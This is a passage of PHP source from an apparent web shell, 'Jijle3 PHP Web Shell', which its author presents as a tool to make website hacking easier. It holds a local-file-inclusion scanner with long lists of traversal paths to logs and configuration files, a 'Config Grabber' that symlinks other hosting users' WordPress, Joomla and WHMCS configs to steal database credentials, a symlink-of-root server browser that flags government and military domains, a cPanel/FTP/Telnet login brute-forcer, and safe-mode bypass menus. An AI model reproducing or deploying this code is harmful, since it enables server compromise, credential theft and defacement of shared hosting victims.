23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
$lfierror = array(
1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
$lficonfig = array(
1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
$lfiphpini = array(
1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
$lfimysql = array(
1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
$lfiftp = array(
1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
$x = 1;
if ( $type == 1 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiaccess[$x]) {
$res3 = FetchURL($target.$lfiaccess[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 2 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lficonfig[$x]) {
$res3 = FetchURL($target.$lficonfig[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 3 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfierror[$x]) {
$res3 = FetchURL($target.$lfierror[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 4 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiphpini[$x]) {
$res3 = FetchURL($target.$lfiphpini[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 5 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfimysql[$x]) {
$res3 = FetchURL($target.$lfimysql[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 6 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
while($lfiftp[$x]) {
$res3 = FetchURL($target.$lfiftp[$x]);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
}
$x++;
}
}
}
if ( $type == 7 ) {
$res1 = FetchURL($target.$lfitest);
$res2 = FetchURL($target.$lfitest2);
$rhash1 = md5($res1);
$rhash2 = md5($res2);
if ($rhash1 != $rhash2) {
print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
$res3 = FetchURL($target.$lfiprocenv);
$rhash3 = md5($res3);
if ($rhash3 != $rhash2) {
print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
}
else {
print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
}
}
}
}
}
wsoFooter();
}
###################### Config Grabber ######################
function actionconfig() {
wsoHeader();
echo "<center>
<h1>Config Grabber</h1>
";
?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="white" size="2pt">Put /etc/passwd</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd');
?>
</textarea><br><br><input name="config" class='inputzbut' size="100" value="Get The Configs !" type="submit"><br><input type="hidden" name="a" value="config"></form></center><br>
<?php }if ($_POST['config']) {
$function = $functions=@ini_get("disable_functions");
if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('phdz-config', 0755);@chdir('phdz-config');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("
",$passwd);echo "<br><br><center><font>Bism Allah</center><br>";
foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
echo '<b class="cone"><font><b>Configs Link : </b> <a target="_blank" href="phdz-config">[ Configs ]</a></font></b>';}
wsoFooter();}
###################### About ############################
function actionabout() {
wsoHeader();
echo'
<center>
<h1>[ About ]</h1>
<br /><br />
</form>
';
?><head>
<span class="style1"><font size="3" color="#FFFFFF" face="Adobe Heiti Std R"></font> <div style='font-family: Courier New; font-size: 10px;'><font color='white' class=txt ><pre>
_ _ _ _ _____ ____ _ _ ____
| | (_) (_) | | ___ |___ / | _ \ | | | | | _ \
_ | | | | | | | | / _ \ |_ \ | |_) | | |_| | | |_) |
| |_| | | | | | | | | __/ ___) | | __/ | _ | | __/
\___/ |_| _/ | |_| \___| |____/ |_| |_| |_| |_|
|__/
____ _ _ _
/ ___| | |__ ___ | | | |
\___ \ | '_ \ / _ \ | | | |
___) | | | | | | __/ | | | |
|____/ |_| |_| \___| |_| |_|
<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><p>
<pre>
<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&width&height=62&colorscheme=light&show_faces=false&header=true&stream=false&show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre>
<p><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
Jijle3 PHP Web Shell Created To Make Web Site Hacking More Easy ..<br><br> And To Gev You Some Normal Tools ! With WSO Theme<br><br> iF You Want Me To Add A Notther Tools in Secend Virsion Mail Me in My E-mail Bellow Or in My Facebook Page !<br><br></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
<div style='font-family: Courier New; font-size: 10px;'><font size='2' class=txt ><pre>
Coded By Phenomene Dz <br>Algeria - Jijel<br>Finished in 2015/02/03<br>My Email - [email protected] -<br>Youtube Channel <a href="http://www.youtube.com/DZPH/" target="_blank">YouTube</a><br><br>All Right Reserved (C) Phenomene Dz - Martyrs Crew 2015
<font size="13" face="Adobe Heiti Std R" color="red"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
[ Thanks To ] <br><br>Abod Hack - Red Ck - Ghost1145 - Prodigy Tn - EL Moj4hid - Ghost dz - L'Apoca Dz - Mr Dz Gang <br><br> Sy3i4n K!lle3 - Red Hell Sofyan - Algeriano - Hero Dz - Cesc Dz - X Zone - K2ll33d - Almokawim <br><br> Martyrs Team - Algerian To The Core - 1337day Community Algeria - Fallaga Team <br><br> AnonGhost Team - Dz Team - Anonymous Dz - Backup Sec Dz <br><br> Sec4ever.com - Gaza-Hacker.net - Dev-Tun.tn - Fallaga.tn - Aljyyosh.com - dz-root.com - is-sec.com <br><br> And All My Freinds - All Muslims Hackers - All Algerian Hackers <font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p>
<?
wsoFooter(); }
###################### Symlink Server ############################
function actionsymserver() {
wsoHeader();
echo'<center><h1>Symlink Server</h1><br>';
@set_time_limit(0);
echo "<center>";
@mkdir('phdz-symserver',0777);
$htaccess = "Options all
DirectoryIndex readme.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$write =@fopen ('phdz-symserver/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','phdz-symserver/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'>[ /etc/named.conf ] ==> Not Writeable !</pre></center>";
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','sym/root');
$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
wsoFooter(); }
###################### Cpanel Cracker ############################
function actioncpcrack() {
wsoHeader();
// Cpanel Cracker
echo "<center>
<h1>Cpanel Cracker</h1>
<br>
";
{
$cpanel_port="2082";
$connect_timeout=5;
?>
<center>
<form method=post>
<table style="border:none; overflow:hidden; height:90px;" border=1 cellpadding=4>
<tr>
<td align=center colspan=2>Target <br><input type=text name="server" value="localhost" class=sbox></td>
</tr>
<tr>
<td align=center>[ User names ]</td><td align=center>[ Password ]</td>
</tr>
<tr>
<td align=center><textarea name=username rows=20 cols=20 class=box><?php
if($os != "Windows")
{
if(@file('/etc/passwd'))
{
$users = file('/etc/passwd');
foreach($users as $user)
{
$user = explode(':', $user);
echo $user[0] . "
";
}
}
else
{
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(':',$uid)."
";
}
$temp = trim($temp);
if($file5 = fopen("test.txt","w"))
{
fputs($file5,$temp);
fclose($file5);
$file = fopen("test.txt", "r");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
echo $matches;
}
fclose($file);
}
}
}
?></textarea></td><td align=center><textarea name=password rows=20 cols=20 class=box></textarea></td>
</tr>
<tr>
<td align=center colspan=2>Guess options : <label><input name="cpcrack" type="radio" value="cpanel" checked>[ Cpanel(2082) ]</label><label><input name="cpcrack" type="radio" value="ftp"> [ Ftp(21) ]</label><label><input name="cpcrack" type="radio" value="telnet"> [ Telnet(23) ]</label></td>
</tr>
<tr>
<td align=center colspan=2>Timeout delay : <br><input type="text" name="delay" value=6 class=sbox></td>
</tr>
<tr>
<td align=center colspan=2><input type="hidden" name="a" value="cpcrack"><input type="submit" name="cpcrack" value=">>" class=but></td>
</tr>
</table>
</form>
</center>
<?php
}
wsoFooter();
}
///Menus
####################### Baypassers #########################
function actionbypss() {
wsoHeader();
echo'
<center>
<a href=# onclick="g(\'bypassing\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Jijle3 Bypasser ]</a><br><br>
<a href=# onclick="g(\'etcnmd\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Server User Function Bypasser ]</a><br><br>
<a href=# onclick="g(\'etcbaypass\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Etc/passwd/ Function Bypasser ]</a><br><br>
<a href=# onclick="g(\'SafeMode\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Safe Mode Bypass ]</a><br>
';
wsoFooter();}
####################### bypassing #########################
function actionbypassing() {
wsoHeader();
echo '<center><h1>Jijle3 Function Bypasser </h1>';
error_reporting(0);
set_magic_quotes_runtime(0);
if(version_compare(phpversion(), '4.1.0') == -1)
{$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
}function inclink($link,$val){$requ=$_SERVER["REQUEST_URI"];
if (strstr ($requ,$link)){return preg_replace("/$link=[\d\w\W\D\S]*/","$link=$val",$requ);}elseif (strstr ($requ,"showsc")){return preg_replace("/showsc=[\d\w\W\D\S]*/","$link=$val",$requ);}
